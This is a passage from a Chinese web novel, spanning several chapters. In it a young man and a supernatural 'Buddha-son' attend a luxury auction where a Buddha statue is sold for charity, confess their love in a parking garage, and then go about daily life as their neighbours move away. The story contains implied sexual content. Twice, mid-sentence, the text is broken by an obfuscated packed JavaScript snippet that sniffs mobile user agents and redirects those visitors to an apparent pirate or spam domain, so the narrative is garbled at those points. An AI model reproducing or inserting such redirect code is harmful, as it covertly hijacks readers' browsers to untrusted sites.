林南晴手机里竟然真的跳出了罗爱曜介绍的集团。这是罗爱曜的谎,今晚拍卖会结束之后,他们都会忘记这个谎。 实话说,施霜景面色不改,可刚才那样的社交场合真叫他流汗。专家随同他们一起进私密展厅,看最后一件藏品,也就是一尊罗爱曜的佛像。 施霜景打起十二分精神,进入暗光的私密展厅。展柜灯光斜斜交织,并不直接投在佛像上。金铜佛像,造型上有蹊跷,是双佛并立,面与面交错相对,共享一对日轮、月轮。两佛分别是睁眼与闭眼,面容完全相同,睁眼佛为蓝目,闭眼佛则是手拿火红法器。这不是传统的多头多手佛,像是佛的一体两面。佛呈飞行姿,座下不是莲花也不是水浪,而是一匹飞马。 这就是施霜景等会要拍下的佛像。 这样的佛像,他家佛龛有一尊,蓝月空花之夜他砸坏了一尊,经常在他书包出现的还有一尊。这样的佛像,专家说,起拍价不高,但预计成拍价会很恐怖。有多恐怖?专家抹了抹胡子,千万美金级别的,上一次成交是上世纪九十年代。上世纪九十年代的千万美金。 施霜景想,故宫博物馆里的佛像都不会有这么贵吧?事已至此,荒谬至此,他很淡泊地说道:“搞不懂,可能有钱人就是有钱生钱的办法吧。” 专家笑笑,这群有钱人真是喜欢勒索情绪价值,故意装不懂。他说:“这佛像就是钱生钱的办法啊。在场这么多有钱人,我是不信这些,但他们信……我有什么资格不信呢?不信的人赚不到钱,信的人都赚到钱了。嗨,我说这些干什么。” “是不是有茶点?我想吃茶点。”施霜景对罗爱曜说。 “那走吧。” “李教授,我觉得这些东西都有代价。”施霜景离开展厅前,忽然对专家这么说道,“信的人和不信的人,过着两种截然不同的生活。” 李教授还是笑笑,不说话。今天拍卖会结束之后,他拿到十万块的讲解费。都是人,大家的生活实在是太截然不同了。人与人的理解梯度无限拉长,李教授不会理解原来的施霜景,现在的施霜景不会理解李教授。罗爱曜不会理解施霜景。会吗?语言是如此苍白。 施霜景:谢谢你,佛子。 施霜景:我不知道说什么。我今天开了眼界,以前觉得很不真实的东西,突然变得很真实,这种真实感也好不真实。 施霜景:总之还是很好玩的。 罗爱曜:我知道。 罗爱曜:我不觉得你非常抗拒,这就足够了。 罗爱曜:我还知道其实你现在兴致挺不错的。 施霜景:是有点。很复杂的感觉。 李教授离开私密展厅,施霜景与罗爱曜停步。 在光与影的交界处,两个人接吻。不知这个吻从谁开始,也不知道是谁先停下脚步。有人闭上眼睛,有人揽上后腰,有人心跳很快,有人呼吸很长。我希望这个吻是你开心。我希望这个吻是你安心。如果分辨不清,那一定是有人故意糊涂。 *八圣道(八正道):佛教徒修行涅槃为佛陀的八种途径,分为:正见、正思、正语、正业、正命、正进、正念和正定。 97.他戴玄珠可示我(四) 施霜景看似应接不暇,实际与人交谈时,总能想起罗爱曜就站在自己身边,渐渐就心安下来,愈来愈自如。 罗爱曜不会坍施霜景的台,施霜景也不会落罗爱曜的面子。 施霜景今天向所有人都说真话,以他特有的方式四两拨千斤。罗爱曜越看越觉得欣赏,欣赏完又犹豫半分,他还是觉得施霜景的大心脏是好事也是坏事。真矛盾。不管怎么样,罗爱曜觉得这局算是组对了。 七点半一到,他们作为序号最前的嘉宾,先一步去往拍卖场。 罗爱曜有一副极其优越的骨皮,身形样貌皆是无可挑剔,可偏偏他的信徒不会关注他的外貌与气质。这是罗爱曜对信徒们的默认出厂设置。 信徒们不会想佛子是否有人形,这一选项早已从每位信徒的认知中剥离出去了。佛子是不会有人身的。他们看见施霜景旁边站了舅舅,可他们完全不会怀疑这舅舅的身份。正因为舅舅是佛子,他们才更不会怀疑。 佛子的人身是所有信徒们的认知盲区。至于其他人,他们会关注罗爱曜,可罗爱曜不喜欢,便将这些目光统统也剥离了出去。看往罗爱曜的目光都被轻轻折射向施霜景。 坐进拍卖场,施霜景与罗爱曜二人的座位在最前排,意味着他们的地位特殊,或者是钱包的厚度特殊。 刚刚施霜景没有仔细看另外几件拍卖品,真就被罗爱曜领着去吃茶点了。这场私人拍卖会由国际性的大拍卖行承办,嘉宾有五分之一是外国人,茶点专门设计成中西融合样式,好看但不一定好吃。施霜景每取一样都琢磨好半天,外观熟悉,比如透亮水晶皮的蒸饺,或是固定好形状的面点,一咬下去就完全不认识了。他吃不出松露或是鹅肝的味道,也不怎么喜欢吃冷食。蒸饺怎么可以是冷的。面点里怎么可以是油腻的夹心。施霜景吃完后,提问如下:“一会儿我们还要参加晚宴吗?也是这样的菜吗?” “不喜欢就不必去了,我们参加完拍卖会就离开。”罗爱曜空手。施霜景一看他试都不愿意试的样子,心想下次一定要学罗爱曜。罗爱曜吃的东西才都是好东西。 注意力回到会场。施霜景时不时会看向罗爱曜。生了这么一张好看的脸,竟然全场没有任何一个人上前朝罗爱曜搭话,施霜景觉得很蹊跷。这可是一张令施霜景忘记恐惧的脸。施霜景曾在见第一眼时大脑放空,迎他进门,伸手捏了捏,以触觉确认这张天人面庞是真实存在的。现在再看,知道罗爱曜的派头其实是适应参加这样的场合,对他的外貌有了更深刻的理解。 罗爱曜:很喜欢我的脸? 施霜景:…… 真是一点隐私都没有了。 施霜景:喜欢。 罗爱曜:那你刚才为什么闭眼? 施霜景:…… 不回了。施霜景好端端地坐在第一排,一想起刚才的接吻,耳朵又红透。氛围到了,亲了一下,不够,唇分又亲。施霜景闭眼不是怕直视罗爱曜的脸,是怕看见别人正在看他们。 罗爱曜今晚十分愉悦,心情大好,若有人要犯错,今天最安全,因为罗爱曜不会计较。他听见场内有人聊到第一排的黑衣男孩——看来大家都看出施霜景年纪小,二十岁混在这群三十岁里还是小。 人声混杂,分不明白,听得倒是真切。 听说那男孩和他舅舅搞在一起了。是真舅舅吗?天知道。胆子真大啊,脖子上还戴着佛子的供珠,佛子那么多只眼睛就这样看他们两人亲来亲去吗?不要说了,佛子能看见就能听见,他是佛子选的人。这算不算给佛子戴绿帽?诶,不要打我,我不说了。佛子选中那男孩,是要怎么选?要男孩做什么呢?不过我们供的这位佛子其实算是密教,你我都明白的。明白什么?搞不清楚!许晏之和林南晴怎么走开了?他们还是太南边了,都不在国内活动了,比我们更信吧。哎!说对咯!我们不信怪力乱神,要科学信教。总之佛子吃人也是有规矩的,佛子似乎很忙呢。感觉佛子最近更忙了。我妈妈家的佛龛前段时间一直点不燃香,我等会要去找那男孩请教的。不许再说了,拍卖会要开始了。知道知道。 施霜景把玩着带数字的手持牌,特别关注场内工作人员的动向,目光找见了刚才的讲解员经理,他就站在第一排座位末尾的墙侧,随时可以为施霜景和罗爱曜提供服务。拍卖行代表领着拍卖师等在台侧,女拍卖师穿一袭如水的长裙,与施霜景隔空对视了片刻,她露出得体的微笑,向施霜景示好。 拍卖行代表是外国人,拍卖师是双语者,她记得今天的主要服务对象似乎是纯中文母语者,与其为他单设同传,不如由拍卖师接下大部分的介绍工作。 施霜景往后望去,拍卖场坐满,工作人员提供了一轮酒水饮料,然后撤走。施霜景喝了两杯香槟,觉得今天喝够了这种气泡饮料,便什么也没要。 拍卖行代表与女拍卖师一同走上台,作开场致辞,介绍本次拍卖的主题,“大隐”,提了提隐士、隐于市的概念,蒙混地解释了为什么将拍卖会地址定在市中心的摩登大楼里,也解释了为什么拍的都是这些古品。 女拍卖师介绍这场拍卖会的竞拍规则,要求嘉宾亲自到场并参与竞拍,本场没有任何委托竞拍。最低加价幅度将根据拍品调整,每件拍品都有十五秒的“冷静期”,允许嘉宾重新考虑是否加价。一经出价,不得撤回或更改价格。规则种种,都非常清晰。 第一件拍品就是刚才罗爱曜介绍过的《散落贵霜铸币的女人》。施霜景在心中告诉罗爱曜,他不打算参与任何一件拍品的竞拍。 施霜景:不是我抠门不抠门的问题,是拍下来了也没地方放。 罗爱曜:刚才我就想提醒你,我有太多地方可以放这些拍品,你没必要为了这个理由放弃拍卖的乐趣。 施霜景:…… 施霜景:我刚才还担心让别人知道我们的住址不好呢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548580|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 罗爱曜:我们可以选择自取。 第一件拍品是画,之后的三件拍品分别是清宫龙凤纹帝王绿翡翠头面、北宋汝窑天青釉特殊冰纹圆洗、清乾隆粉彩云纹苍龙教子双螭耳瓶*。 这些拍品非常博物馆,非常贵,非常私人。施霜景觉得,这些东西是留给家里有大宅子的人收藏的。看到这么多个零,看到那么多美元符号,施霜景早早就不在拍卖状态了。 倒是罗爱曜参与了第一件拍品的竞拍,像是给施霜景打个样似的,什么时候举牌,如何加价,加价幅度如何。最后这幅画被一位南非藏家以九百二十三万美金拍走。施霜景渐渐因为金钱的数额感到焦虑,他还总能捕捉到女拍卖师的目光,似乎在问,你们是001号、002号大客户,怎么在出价方面如此……保守?001号、002号举牌不频繁,整场拍卖的节奏便也不好,后三件拍品的成交价竟然都比预估成交价低出不少。 终于到最后一件唐上元铜鎏金飞马日月交面密佛,拍卖师莞尔一笑,她娓娓道来这佛像的来历,是一位港岛知名收藏家转赠,要求作慈善拍卖,在交予这佛像之后,收藏家便销声匿迹。依收藏家要求,不论成交价多少,拍品成交金额全部捐赠用于支持内地孤儿青少年的教育支持与生活保障项目。收藏家委托律师与拍卖行使用这笔慈善款项从零建立专项非政府公益机构。他们将与政府福利机构相接洽,保证资金透明、程序透明。 施霜景猛地扭头看向罗爱曜。 罗爱曜:干什么? 施霜景:这就是你自己组的局!! 施霜景:之前我就应该多追问几句的! 罗爱曜:不算吧,至少这佛像不是我自己收藏的。猜猜它从哪儿来? 施霜景:……? 施霜景:不知道。我的脑子现在很乱。 罗爱曜:我没收了纪复森的一部分藏品。他有我的佛像。 罗爱曜:纪复森已经无法再活动,但他的收藏家身份很好用,借来用用。 罗爱曜:基于某些我自己也没能参透的原则,这些年来我获得的财富不能用于投资或流入市场,我的身份也并不适合进入公众视野。拍卖这个手段比较曲折,但所有人都很专业,不需要我额外费心,也不需要暴露我的背景。我很喜欢。 施霜景:我不知道说什么好了。 罗爱曜:你只需要抬价就好。 罗爱曜:或者,你还想对我说什么吗? 罗爱曜:别说谢谢。 施霜景:你真是个疯子。 施霜景:拍卖会结束之后我会说的。 施霜景:我还需要再想想。 施霜景:别再偷窥我的想法了!能不能暂时切断! 施霜景:举牌……我先举牌。一会儿再想!我们先维持现状。 施霜景:我会说的。 *这三样拍品参考了一些拍卖行新闻。 98.我喜欢你,你喜欢我 起拍价一百四十万美金,最低加价幅度为十万。如果施霜景没有理解错,罗爱曜攒了这场拍卖局,这尊佛像拍得的钱款全用来支持内地孤儿福利项目。这笔钱会给到励光厂福利院吗?那岂不是拍得越贵越好?怪不得罗爱曜让施霜景努力抬价。可是,可是,万一一个失手,施霜景加价太高,佛像砸在他们自己手里,还得掏出这么多钱来自己买,岂不是失策? 施霜景的拍卖习惯就是统统往上加十万,慢慢往上蹭。在场的信徒与想要拍得这尊佛像的潜在信徒见状,纷纷跟上抬价。有人会猜,施霜景为什么要拍佛像?他不是已经很受佛子青睐了吗?难道说,他是为了某个家族非要请这尊佛像回家?他们知道了,说不定是为了那个姓卓的舅舅。 方才卓舅舅只参与了第一幅画的竞拍,加价到五百多万美金时,他似乎悻悻地收了手。有人猜他对这幅画的股价只值五百来万,有人则猜他的现金流并不丰足。 凡是能将这尊像顺利请回去的人,就是得了佛子的允许,可以供奉佛子,家宅永安了。在场有三分之一的信徒前来观摩,他们没有非要拍得佛子像的必要,可他们一想到佛子想要做慈善,那帮忙抬抬价也是做善事、积福报,大家都乐得这么做。在这三分之一以外,大约还有四分之一的人提前得到了风声,特意来请佛子像,中国人、外国人都有。一些全不知情的藏家以为这是什么不得了的藏品,偶尔也跟价。很快这尊唐上元铜鎏金飞马日月交面密佛像就上了八位数。 到了一千万美金,众人仍不停手。施霜景觉得有点过头了,心里不停地将拍卖价乘以七,换算成人民币。心里的数字一下子从一开头的小八位数美金,突涨到几乎突破八位数的九位数人民币。施霜景讪讪放手,中断了大约两分钟,眼看着拍卖小槌要落定,罗爱曜一抬施霜景的手肘,让他重举001号手牌,又往上加了一百万美金。 数字仍在飙升。 第一位数突破二,突破三……终于,在突破五的时候,罗爱曜觉得差不多了。场上只剩施霜景、一位马来西亚信徒以及一位内地客人在竞价。施霜景有好几次都有些坏心眼地想道,万一真让他们拍着了,让罗爱曜付款,这算不算皆大欢喜?他家里拿来砸的玩意,在这里拍出五千万美金,施霜景对此的评价除了疯了还是疯了。可施霜景马上又会很有罪恶感,坑自己人不好吧,叫罗爱曜付这么一大笔钱,施霜景好像有些牵连性地肉痛。因为这样彷徨的心理活动,施霜景举牌很不坚定,在那两位嘉宾以为施霜景终于要退出之时,施霜景又会突然举一下牌,让人难以捉摸。 最终,施霜景压住自己手腕,再竞价真是让罗爱曜付这一大笔钱了。只剩两人的拍卖很快就能分出输赢。最后是马来西亚客人拍下了佛像,成交价五千二百六十万美元。那马来西亚富商非常兴奋的样子,亲吻了自己072号的手牌。 施霜景这回算是对罗爱曜的势力范围有了更清晰的了解。罗爱曜说自己的信徒在沿海一带,这话一点都不作假。或许S省已经算是很腹地的地方了,所以他的信徒们都没料到,这场私人拍卖会落在S省。 施霜景用裤腿擦了擦手汗,拍卖师特别会把控节奏,竞着竞着他就忘了这是真钱,脑子里只剩数字了。拍卖会很快便结束,拍卖师公开邀请马来西亚嘉宾去会客厅单独一见,这佛像不可随随便便转交,有些要紧的事宜要私下沟通。而后拍卖场代表上来谢幕。这一流程中,施霜景忍不住同罗爱曜在心里讲小话。 施霜景:刚才要真是我拍到了佛像该怎么办?你就老老实实付钱吗? 罗爱曜:嗯,付呗。我的钱多到花不完。你拍下来,就是让我的钱有个流出去的渠道,反正也是在做善事。 施霜景:平时没见你那么善良。 罗爱曜:我本就不善良,这词像是骂我似的。 施霜景:……喂! 两人在私密频道正淅淅飒飒地交流着,刚才出局的内地商人找了过来,似乎是想与施霜景多说几句。施霜景与经理交换眼神,经理出现在二人身前,挡了一下。罗爱曜搂住施霜景的肩,正好二人不打算参与后续宴会,此刻是趁乱离场的最佳时机。 他们乘着专属电梯一路向下,抵达一楼,出示手牌取回了外套和提包。室外的雪已停了,他们换电梯回地下停车场。电梯门打开时,施霜景与罗爱曜四目相对,两人忽然同时爆出笑声。 “好玩吗?”罗爱曜边掏车钥匙边问。 “好玩!”施霜景的脸还红扑扑的,刚才室内热,到了地下停车场才堪堪散了点热气。 二人坐进车里,明明都是电梯在做功,施霜景却如释重负地喘息起来,像刚下跑步机似的。之前施霜景在拍卖会得绷住表情,尤其是拍卖佛像的时候。一确定这拍卖会的幕后组织者是罗爱曜,施霜景真就不紧张了,在拍卖会的末尾好好享受了一把疯狂竞价的乐趣。 “我们空手回来了。”罗爱曜说,“感觉像白来一趟。” 施霜景却摇着手指回复罗爱曜:“这种活动体验一下就好了,干嘛非要带东西?那些画、杯子、盘子是很美,可我们又不是住在宫殿里,带回来蒙尘岂不是很可惜?谁家有大宫殿,谁就拍下,物尽其用,两全其美!” 罗爱曜点开暖气,施霜景又按上触摸屏,关掉。他现在还觉得好热,没必要那么快就开暖风。 施霜景这人,对恐惧的感知非常滞后,对快乐的感知竟然也是如此!别人去哪儿都是初看新鲜、再看无味,施霜景是别人散场了、他突然起兴了。后知后觉的欢愉。施霜景磨蹭半天也没系安全带,很想拉着罗爱曜说点什么,可他又很不会找字来形容自己的想法,嘴也笨,一下就急得只有眼睛发光,舌头却打了结。 “你觉得拍卖会的什么最好玩?”罗爱曜从容自如道。 “我没去过博物馆,也没有参加过类似的活动。我觉得都好玩。而且还有外国人。原来马来西亚和印度尼西亚也有很多人都说中文吗?哇……” “那你还想和马来西亚、印度尼西亚人说话聊天吗?我们现在还能回去。” 施霜景诚实地摇头:“见过一次就行了,干嘛非要再去现眼。” 两人都半侧着身体,面对面聊天。罗爱曜肩靠着座椅,双手环胸,“如果有下次,你还来吗?” 施霜景犹豫片刻,不答了。大概是不想来。不知道。一次是一次的体验。这次很开心,下次就不一定了。施霜景是社交保守分子。 “解决纪复森那天,你好像很委屈的样子。你在想,你有点喜欢我,我也有点喜欢你,对不对?” 罗爱曜掐头去尾,去掉所有的疑问语气,只剩下那句核心。此刻,他把施霜景这句心里的告白端出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548581|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,大概是为了勾引施霜景说出他在拍卖场没说的话。罗爱曜很期待。 等了一秒、两秒……十秒。施霜景没说话。 罗爱曜:“你怎么突然不说话?” 施霜景:“我在等你说话啊?!这有什么‘对不对’的?你不都读到了吗?!” 罗爱曜:“……” 施霜景:“……” 罗爱曜:“你还来?” 施霜景:“……” 施霜景:“我非要说吗?” 罗爱曜:“不想说就别说,没人逼你。” 施霜景:“哪有这样的?” 施霜景:“我那时候不可以难过吗?” 罗爱曜:“……” 施霜景:“我喜欢你,你喜欢我。我喜欢你,你喜欢我。我喜欢你,你喜欢我。” 施霜景:“没有什么‘有点’。你就是喜欢我,我也喜欢你。不然你为什么对我态度特殊?带我来什么拍卖会,还抱着手臂等我先说——我喜欢你不犯法吧?你喜欢我为什么你不说呢?难道你喜欢我犯法?” 这是施霜景人生中语速最快的一次。他越说越激动,差点就要站起来了,好歹是意识到自己还坐在车里,努力地将屁股压在车座上。 罗爱曜就那么听着,时不时煞有介事地点点头。施霜景甚至还继续说:“你怎么没表示?那我下车了。你要是说不喜欢,我就自己坐车回家。这也太尴尬了!你为什么不说话?你愿意‘唰’一下地捐出五千万去关心孤儿,就不能说喜欢我?!” 还没等罗爱曜回话,施霜景“咔哒”一下解锁车门,真溜下车了。罗爱曜只能赶紧从这侧下,喊住施霜景:“回来,你跑什么?” 施霜景心跳太快了,吹吹地下车库的冷风正好缓解一下心率。他说了。脑子是长来做什么的?嘴又是长来做什么的?难道这些器官都是用来出卖他的吗? “我喜欢你。我说喜欢你是犯法、破戒。行了吧?坐后座去。” 罗爱曜下巴一指,示意施霜景坐回车里。一米八的男孩,脸红得要滴血了,好不容易谈爱谈得血脉偾张,冷却下来岂不是太可惜? 施霜景满脑子都是罗爱曜那两句:我喜欢你。我说喜欢你是犯法、破戒。施霜景脑子晕乎乎地,拉开后座车门,一屁股栽下去了。没曾想罗爱曜也坐进后座,用冷冰冰的手托住施霜景的脸,还说:“真是好烫,正好帮我暖暖手。怎么,还想不想听?” “想——听——” “我喜欢你。我记挂你。你让我放心不下。” 施霜景说喜欢,用的是施霜景的方式。换到罗爱曜,罗爱曜也有他独有的视角。放不下,挂念他,很受牵动。这些感情不知道算不算喜欢。 不管这是不是喜欢,罗爱曜想,既然他不是人,他定不了,那施霜景来定,这也是无可厚非。施霜景既然觉得罗爱曜喜欢他,那罗爱曜大可以使用这个说法。一想到这无限容忍的一层,罗爱曜又想道,这不论是不是喜欢,总归是一枚钩子弯进了他空空荡荡的胸膛,勾不中心脏,倒是能牢牢地勾住他的金身。好厉害的钩子,好无用的金身。 罗爱曜坐进车后座,当然是有原因的。今晚,某种食欲一般的欲望非常泛滥。施霜景坐在罗爱曜腿上,两人本来是要亲的,可嘴碰上之前,手先碰上了。施霜景非常湿。 99.你们都要走了 天还未亮,施霜景肚子里闹空城计,饿得他翻来覆去怎么也睡不下去了,只好起床做饭吃,吃过再睡。 冰箱里还剩了半抽屉饺子,元旦节时包的。施霜景打着哈欠下饺子,刚一张嘴,嘴角就撕裂一样地疼。他摸见嘴角的伤口,心想他的嘴是什么时候破的?明明车震的时候没怎么亲来着?啊,完了,那肯定是那时候破的。施霜景浑身一激灵,决定赶紧煮好饺子,他要吃独食。 可惜罗爱曜没让他得逞。罗爱曜也打着哈欠出来,他最近盯施霜景的想法盯得很紧,什么都逃不过罗爱曜的法眼。 “我也要吃。我要吃二十个。”罗爱曜出现在厨房,很自如地为烧水壶接水、烧水。 施霜景超级无敌尴尬。他又数了二十个饺子放进锅里,叉着腰一言不发,装困,等饺子煮熟。 “你……” “别说话!”施霜景忽然喝道。 这一下有点没控制住音量,施霜景把自己都给喊醒了。罗爱曜挑眉,瞧了施霜景好一会儿,看施霜景强装镇定。 “水要扑出来了。”罗爱曜提醒他。 施霜景这才反应过来,他装着装着竟然放空自己了,这才赶紧调低了灶火,赶罗爱曜出去餐桌前等他,反正他煮好会端过来的。 罗爱曜端着他的茶杯便出了厨房。玉米懒懒地挨在施霜景的脚边,不知什么时候,它竟然躲进了厨房,趁施霜景不注意才蹭他一下。玉米圆头圆脑的,冬天攒膘,性子也懒了些,跳都懒得跳,除非真的有好吃的、好玩的,或者要抢一下主人的注意力。施霜景逗逗玉米,会心一笑,昨晚玉米还十分紧张地要跟进他的浴室里呢,警惕人类被水淹死。 饺子上桌,窗外也仍旧黑。罗爱曜吃饺子不用蘸料,给他一个空碗即可。两人吃四十个饺子,对于男人、对于早餐来说其实还好,尤其是在前夜连晚饭都没吃的情况下。昨天晚上,施霜景洗过澡,往床上一倒,简直就是晕了过去,饿不饿都另说了。 余光瞥见讲题用的白板,施霜景像是被捏起后颈皮,“我真的要开始学习了,真的。一月很快就要完了!” “今天就学吗?” “老实说,我还有点累。你真的不能给我治一下吗?” 施霜景治了治自己的嘴角,又手指垂直往下指了指,过分摩擦的部位也肿痛着。 “把手给我。”罗爱曜伸出左手,施霜景放下筷子,右手搭上来,很快,嘴角不痛了,下身也不肿了,治愈的力量经由这种简单的身体接触传导。罗爱曜说:“我看你还挺熟练的,把我当神医来用。” “你本来就是啊。”施霜景浑身松快,心情也就好,当下就说,“那我今天也学吧,我们马上就要进下一本数学必修了是不是?我感觉我现在强得可怕!” 罗爱曜忍住没笑。施霜景是真乐天,是会做对题本的孩子。平时嘲讽一下便算了,昨天听施霜景说了那么多喜人的好话,今天罗爱曜不论如何也不想再刻薄,就只点头同意了施霜景的说法。 “明天我要为蒋念琅作护法仪式。”罗爱曜说。 “哦?就是明天了?好快啊!” “庄晓父子也要离开。” “嗯……他们要去哪儿呢?” “回庄晓老家,他爷爷奶奶尚还在世。” 真好。爷爷奶奶竟然都还在世。施霜景越吃越高兴,解决庄晓一家的危机,他觉得自己也与有荣焉。施霜景毕竟非常年轻,冒险对少年的诱惑与埋葬往往是一体两面、手心手背。算上鬼子母神那回,施霜景始终觉得,反正自己最后都安全地渡过难关了,那这就是成功。施霜景很少干成过什么事。这几次他虽然只是连带着的,但也很有成就感。 罗爱曜读到这层,眸光暗了几分。算了,今天权当过渡,不要前一天刚甜言蜜语,后一天就冷言冷语。 他对施霜景喜爱是真,不耐也是真。施霜景对危险的评估已经全面失准了,可施霜景非有佛缘——也就是说,他并没有从人类升为护法、金刚或菩萨的机缘。至少罗爱曜现在看不到这样的可能性。如果这样,施霜景就只能永远是凡人,那凡人如此轻待自己的生命,这不是好事。 不过,罗爱曜自己也有这样的疑问——如果人与佛有本质主义的差别,是人与非人的差别,那为什么中间又要设置这么多道近乎“晋升”的头衔?金刚也好,菩萨也好,虽然与罗爱曜这个佛子有着不一样的来源,并非在燃灯佛处留名,需要自己挣一把,但他们在过去某些时刻,也算是拼尽全力并留有名姓了。严格说来,如果佛子不涅槃,那佛子也不等于佛,他是佛的半成品。他作为半成品,与菩萨这些半成品又有什么区别?罗爱曜真就看得准吗?施霜景没有佛缘……会不会只是因为现在已经没有菩萨,没有金刚……什么都没有了?这样的通道已经完全失却了? 当初郎放所提的“明妃体”又跳进罗爱曜脑海。明妃体是不可行的。就算施霜景有做明妃体的潜力,可终究与罗爱曜不是一条道,这样得来的力量会将施霜景拉往其他的方向。 “心意相通”为施霜景带来的是某种脊梁变硬的感觉,靠山的感觉。用更柔软一点的说法则是,后背热热的、心也热热的感觉。这般由内而外的温暖使得施霜景非常放松,今天罗爱曜为他继续讲数学必修书,施霜景全听进去了,例题做得也快。有些题虽然做错,但施霜景偶尔会极快地反应过来,问罗爱曜会不会是这样来解。罗爱曜留给他时间,施霜景重做一遍,竟然也能对个七七八八。 数学如此,其他科目就更是如此。原本施霜景很厌弃的乡音英语,如今施霜景也愿意大声说出口了。他在拍卖会听了各种口音的英语,好像别人并不会因为他的口音而歧视他,马来的、新加坡的、西班牙的、南非的、英国的、美国的……大家只是用这门语言交流而已。物理和化学虽然仍是不怎么开窍,但施霜景下了苦功,先从看到大题然后能反映过来知识点开始训练。生物已经有了明显的进步。这些都不需要外人来告诉施霜景——“你进步好快!”——施霜景能从回学校听课的状态中反思到这一层,他已经能跟上老师的思路了,真是不可思议。 隔壁时不时传来一些响声,是对面一家人在打包行李。郎放、蒋良霖和蒋念琅一家三口终究是要离开的。 他们是多么幸福的一家啊。相敬相爱,相依相伴。施霜景在他们一家身上学到了一种幸福家庭的模式,或者说,脑海里有了初步的形状,以后想象起来不再是一片空白。原来男人和男人成家也不会有什么太大的差别。家务一起做,也各有各的工作。与人类社会打交道更多的蒋良霖,与灵异玄学打交道更多的郎放,他们允许彼此留有不懂也不需要懂的部分,相重叠的部分则是精心地经营与创造。他们的个性也有很多不同之处。蒋念琅是在爱里长大的。真好。爱在家庭里的具现化……原来是这样一种氛围。 施霜景的心因幻想这种氛围而变得疏松、多孔,有种甜蜜的膨胀感,但收缩时又感觉酸酸涩涩,莫名地费力。 告白之后要做什么?互相喜欢,然后呢? 第二天,罗爱曜要为蒋念琅举行护法仪式。 “你不能来。”罗爱曜说,“蒋念琅在仪式中没有办法控制龙气,会伤害到你。” 直白,简洁,明了。施霜景懂的。仪式嘛,他又不是没参加过,观摩了鬼子母神那次就已经很受震撼了,这次不看也没关系。他说:“那好吧,祝你们顺利!不是说今晚要一起吃饭吗,在家吃?” “我在外面订了餐厅,回请 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没有太多的想法,只是心中有些不舒服。这样的不舒服找不到缘由,施霜景甚至都不知道这是“不舒服”。压抑情感,将情绪反应控制在意识水面之下,使其与混沌的意识融为一体。施霜景不知道,这样的情绪体验不会被罗爱曜准确读取,因为如果罗爱曜这都要读,那他对罗爱曜来说就算是一生都读不尽的一本书了。只有这样的压抑与不舒服是私密的。这也成了施霜景自己的悖论。罗爱曜读不出,那他也读不出。人无法内观到这般地步。 施霜景只能照常写作业。过了一会儿,他忽然收到庄晓的消息。 庄晓:[可颂照片] 庄晓:前几天找蒋老板要了个小烤箱 庄晓:我烤了面包,现在打算烤个戚风蛋糕 庄晓:下来一起吃吧? 一剑霜寒:真的吗? 一剑霜寒:这不够吃吧 庄晓:尝尝呗,我还买了奶油和草莓,主要是吃蛋糕 庄晓:吃甜吗? 一剑霜寒:吃,但不能太甜 庄晓:懂 庄晓:下来吧 施霜景下楼,敲门,竟然是庄理安来开的门。 庄晓父子把家维护得很好。庄晓虽然有些神经质,但他精神稳定的时候与常人无异。庄理安还是不会说话,庄晓端起烤盘展示刚出炉的小可颂。烤箱太小了,可颂也不能做大。庄理安个子不够高,眼巴巴地盯烤盘。这是他第一次对食物展现出如此渴望。 施霜景夸庄晓太厉害了,庄晓说:“我毕竟上了整整一年的甜点学校。如果烤箱更大一些,我会做得更好。” 施霜景拿了一个可颂给庄理安,庄理安双手执着可颂,不知道该怎么吃,可颂蓬松的外皮很像是要剥皮吃的样子。施霜景打了个样,咬下可颂尖,庄理安就学他,之后庄理安就自己吃了起来。 烤箱飘来鸡蛋牛奶混合物的香味,现烤的可颂竟然如此好吃。庄理安穿着围裙,与施霜景在餐桌对坐。施霜景一眼就看见了沙发上的行李袋,“你们也要走吗?什么时候?”施霜景问道。 “我们定了今天晚上的软卧票,睡一觉,明天下午就到A市了。” “晚上几点?” “八点半吧。” 你们都要走了。施霜景好舍不得。 “我们晚上和蒋念琅一家聚餐,一起来吧,我们早点开饭,然后送你们去火车站。” “我就不打扰了。”庄晓道,“你们之间更熟悉一些,有很多话不方便当着我讲。我这不是故意客气或是别的意思。小景,你很直接,我也很直接。谢谢你的好意,我和庄理安自己去火车站,没问题的。” 施霜景偶尔听不懂言外之意,但他这里听懂了。“他们之前有邀请过你吗?”施霜景问。 庄晓撒了个善意的谎:“邀请过了,所以我才这么说的。今天我请你吃蛋糕,就算是告别啦。” 100.有时候我也得陪陪你 庄理安吃可颂的样子颇有些小心翼翼。可颂蓬松的焦酥外皮会碎碎地落下,庄理安一边吃一边捡膝上的碎渣。施霜景想上去帮忙,可庄晓摇了摇头,示意他不要这么做。小孩要怎么长,小孩有小孩的办法。庄理安是晚了六年才拥有身体的非人之生物,他要学的东西太多了,小到决定要不要捡面包的碎屑吃掉,大到他决定自己是要更像人还是更像祂。让他先试试看吧,庄晓是这样想的。 施霜景环视这套房子。他在这里住了两年半,他好像没什么成长,但房子却有了自己的成长轨迹——墙上多了佛龛,换了很贵很贵的床垫,屋子里飘荡着如此西式的甜点香味,有人会来拜访,还有在这房子里发生过的那么多诡奇之事……施霜景对发生在自己身上的事很没感知,却借着房子的改变有了些实感。 